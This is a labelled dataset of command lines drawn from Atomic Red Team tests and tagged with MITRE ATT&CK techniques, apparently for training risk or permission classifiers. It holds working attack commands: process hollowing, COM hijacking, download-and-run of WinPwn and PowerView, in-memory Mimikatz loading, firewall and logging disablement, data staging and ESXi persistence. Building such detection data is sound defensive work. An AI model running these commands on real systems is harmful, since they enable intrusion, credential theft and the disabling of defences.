cowWhySo/permission-command-corpus huggingface dataset:
Command: Invoke-Expression "#{input_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.004
Platform: windows
ATT&CK tags: T1027.004
Source rule: Dynamic C# Compile
Notes: When C# is compiled dynamically, a .cmdline file will be created as a part of the process. 
Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.
The exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.
Upon execution, the exe will print 'T1027.004 Dynamic Compile'.
Command: gcc #{input_file} && ./a.out clang #{input_file} && ./a.out
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.004
Platform: linux,macos
ATT&CK tags: T1027.004
Source rule: C compile
Notes: Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
Command: g++ #{input_file} && ./a.out clang++ #{input_file} && ./a.out
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.004
Platform: linux,macos
ATT&CK tags: T1027.004
Source rule: CC compile
Notes: Compile a c file with either gcc or clang on FreeBSD, Linux or Macos.
Command: go run #{input_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.004
Platform: linux,macos
ATT&CK tags: T1027.004
Source rule: Go compile
Notes: Compile a go file with golang on FreeBSD, Linux or Macos.
Command: reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr" reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f if #{reboot} NEQ 0 shutdown /r /t 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.002
Platform: windows
ATT&CK tags: T1546.002
Source rule: Set Arbitrary Binary as Screensaver
Notes: This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
Command: reg import %userprofile%\backup.reg del %userprofile%\backup.reg del %SystemRoot%\System32\evilscreensaver.scr
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.002
Platform: windows
ATT&CK tags: T1546.002
Source rule: Set Arbitrary Binary as Screensaver
Notes: This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.
Command: . "#{script_path}" $ppid=Get-Process #{parent_process_name} | select -expand id Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: Process Hollowing using PowerShell
Notes: This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
Command: Stop-Process -Name "#{spawnto_process_name}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: Process Hollowing using PowerShell
Notes: This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1055.012\src\T1055.012-macrocode.txt" -officeProduct "#{ms_product}" -sub "Exploit"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: RunPE via VBA
Notes: This module executes notepad.exe from within the WINWORD.EXE process
Command: $PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program "#{hollow_binary_path}" -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: Process Hollowing in Go using CreateProcessW WinAPI
Notes: Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
Command: Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: Process Hollowing in Go using CreateProcessW WinAPI
Notes: Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
Command: $PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe -program "#{hollow_binary_path}" -debug
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.012
Platform: windows
ATT&CK tags: T1055.012
Source rule: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
Notes: Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
allows for the retrieval of output generated from executed shellcode.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
Command: New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: COM Hijacking - InprocServer32
Notes: This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
Command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: COM Hijacking - InprocServer32
Notes: This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
Command: $o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")) $item = $o.Item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: Powershell Execute COM Object
Notes: Use the PowerShell to execute COM CLSID object.
Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
Command: Get-Process -Name "*calc" | Stop-Process
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: Powershell Execute COM Object
Notes: Use the PowerShell to execute COM CLSID object.
Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
Command: New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}' New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}" New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String" Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: COM Hijacking with RunDLL32 (Local Server Switch)
Notes: This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". 
This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. 
Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/
Upon successful execution of this test with the default options, whenever certa
Command: reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.015
Platform: windows
ATT&CK tags: T1546.015
Source rule: COM hijacking via TreatAs
Notes: This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.
Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The
test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.

References:

https://youtu.be/3gz1QmiMhss?t=1251
Command: gpresult /z
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: Display group policy information via gpresult
Notes: Uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information for a remote user and computer
The /z parameter displays all available information about Group Policy. More parameters can be found in the linked Microsoft documentation
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
Turla has used the /z and /v p
Command: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: Get-DomainGPO to display group policy information via PowerView
Notes: Use PowerView to Get-DomainGPO This will only work on Windows 10 Enterprise and A DC Windows 2019.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPOAudit -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: WinPwn - GPOAudit
Notes: Check domain Group policies for common misconfigurations using Grouper2 via GPOAudit function of WinPwn
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') GPORemoteAccessPolicy -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: WinPwn - GPORemoteAccessPolicy
Notes: Enumerate remote access policies through group policy using GPORemoteAccessPolicy function of WinPwn
Command: Get-GPO -Domain $ENV:userdnsdomain #{gpo_param} >> #{gpo_output}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: MSFT Get-GPO Cmdlet
Notes: The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
Command: del $env:temp\GPO_Output.txt -erroraction silentlycontinue
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1615
Platform: windows
ATT&CK tags: T1615
Source rule: MSFT Get-GPO Cmdlet
Notes: The Get-GPO cmdlet gets one Group Policy Object (GPO) or all the GPOs in a domain. Tested on Windows Server 2019 as a domain user with computer joined to domain. Reference: https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps
Command: dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560
Platform: windows
ATT&CK tags: T1560
Source rule: Compress Data for Exfiltration With PowerShell
Notes: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory
Command: Remove-Item -path #{output_file} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1560
Platform: windows
ATT&CK tags: T1560
Source rule: Compress Data for Exfiltration With PowerShell
Notes: An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the files from the $env:USERPROFILE directory compressed in a file called T1560-data-ps.zip in the $env:USERPROFILE directory
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') mimiload -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1620
Platform: windows
ATT&CK tags: T1620
Source rule: WinPwn - Reflectively load Mimik@tz into memory
Notes: Reflectively load Mimik@tz into memory technique via function of WinPwn
Command: #{pscp_file} -pw #{vm_pass} #{vib_file} #{vm_user}@#{vm_host}:/tmp echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_install}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1129
Platform: windows
ATT&CK tags: T1129
Source rule: ESXi - Install a custom VIB on an ESXi host
Notes: An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)
Command: echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{vib_remove}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1129
Platform: windows
ATT&CK tags: T1129
Source rule: ESXi - Install a custom VIB on an ESXi host
Notes: An adversary can maintain persistence within an ESXi host by installing malicious vSphere Installation Bundles (VIBs).
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-malware-persistence)
Command: start "$PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1559.002
Platform: windows
ATT&CK tags: T1559.002
Source rule: Execute PowerShell script via Word DDE
Notes: When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script
Command: netsh advfirewall set currentprofile state off
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Disable Microsoft Defender Firewall
Notes: Disables the Microsoft Defender Firewall for the current profile.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
Command: netsh advfirewall set currentprofile state on >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Disable Microsoft Defender Firewall
Notes: Disables the Microsoft Defender Firewall for the current profile.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
Command: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 0 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Disable Microsoft Defender Firewall via Registry
Notes: Disables the Microsoft Defender Firewall for the public profile via registry
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
Command: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "EnableFirewall" /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Disable Microsoft Defender Firewall via Registry
Notes: Disables the Microsoft Defender Firewall for the public profile via registry
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will re-enable firewall for the current profile...
Command: netsh advfirewall firewall set rule group="remote desktop" new enable=Yes netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Allow SMB and RDP on Microsoft Defender Firewall
Notes: Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
Command: netsh advfirewall reset >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Allow SMB and RDP on Microsoft Defender Firewall
Notes: Allow all SMB and RDP rules on the Microsoft Defender Firewall for all profiles.
Caution if you access remotely the host where the test runs! Especially with the cleanup command which will reset the firewall and risk disabling those services...
Command: netsh advfirewall firewall add rule name="atomic testing" action=allow dir=in protocol=TCP localport=450
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Opening ports for proxy - HARDRAIN
Notes: This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
Command: netsh advfirewall firewall delete rule name="atomic testing" protocol=TCP localport=450 >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Opening ports for proxy - HARDRAIN
Notes: This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.

reference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
Command: netsh advfirewall firewall add rule name="Open Port to Any" dir=in protocol=tcp localport=#{local_port} action=allow profile=any
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Open a local port through Windows Firewall to any profile
Notes: This test will attempt to open a local port defined by input arguments to any profile
Command: netsh advfirewall firewall delete rule name="Open Port to Any" | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Open a local port through Windows Firewall to any profile
Notes: This test will attempt to open a local port defined by input arguments to any profile
Command: Copy-Item "#{exe_file_path}" -Destination "C:\Users\$env:UserName" -Force netsh advfirewall firewall add rule name="Atomic Test" dir=in action=allow program="C:\Users\$env:UserName\AtomicTest.exe" enable=yes
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Allow Executable Through Firewall Located in Non-Standard Location
Notes: This test will attempt to allow an executable through the system firewall located in the Users directory
Command: netsh advfirewall firewall delete rule name="Atomic Test" | Out-Null Remove-Item C:\Users\$env:UserName\AtomicTest.exe -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: windows
ATT&CK tags: T1562.004
Source rule: Allow Executable Through Firewall Located in Non-Standard Location
Notes: This test will attempt to allow an executable through the system firewall located in the Users directory
Command: ufw disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start UFW firewall
Notes: Stop the Uncomplicated Firewall (UFW) if installed.
Command: ufw enable ufw status verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start UFW firewall
Notes: Stop the Uncomplicated Firewall (UFW) if installed.
Command: service pf stop service pf disable
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start Packet Filter
Notes: Stop the Packet Filter if installed.
Command: service pf enable service pf start service pf status
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start Packet Filter
Notes: Stop the Packet Filter if installed.
Command: systemctl stop ufw
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start UFW firewall systemctl
Notes: Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
Command: systemctl start ufw systemctl status ufw
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Stop/Start UFW firewall systemctl
Notes: Stop the Uncomplicated Firewall (UFW) if installed, using systemctl.
Command: ufw logging off
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.004
Platform: linux
ATT&CK tags: T1562.004
Source rule: Turn off UFW logging
Notes: Turn off the Uncomplicated Firewall (UFW) logging.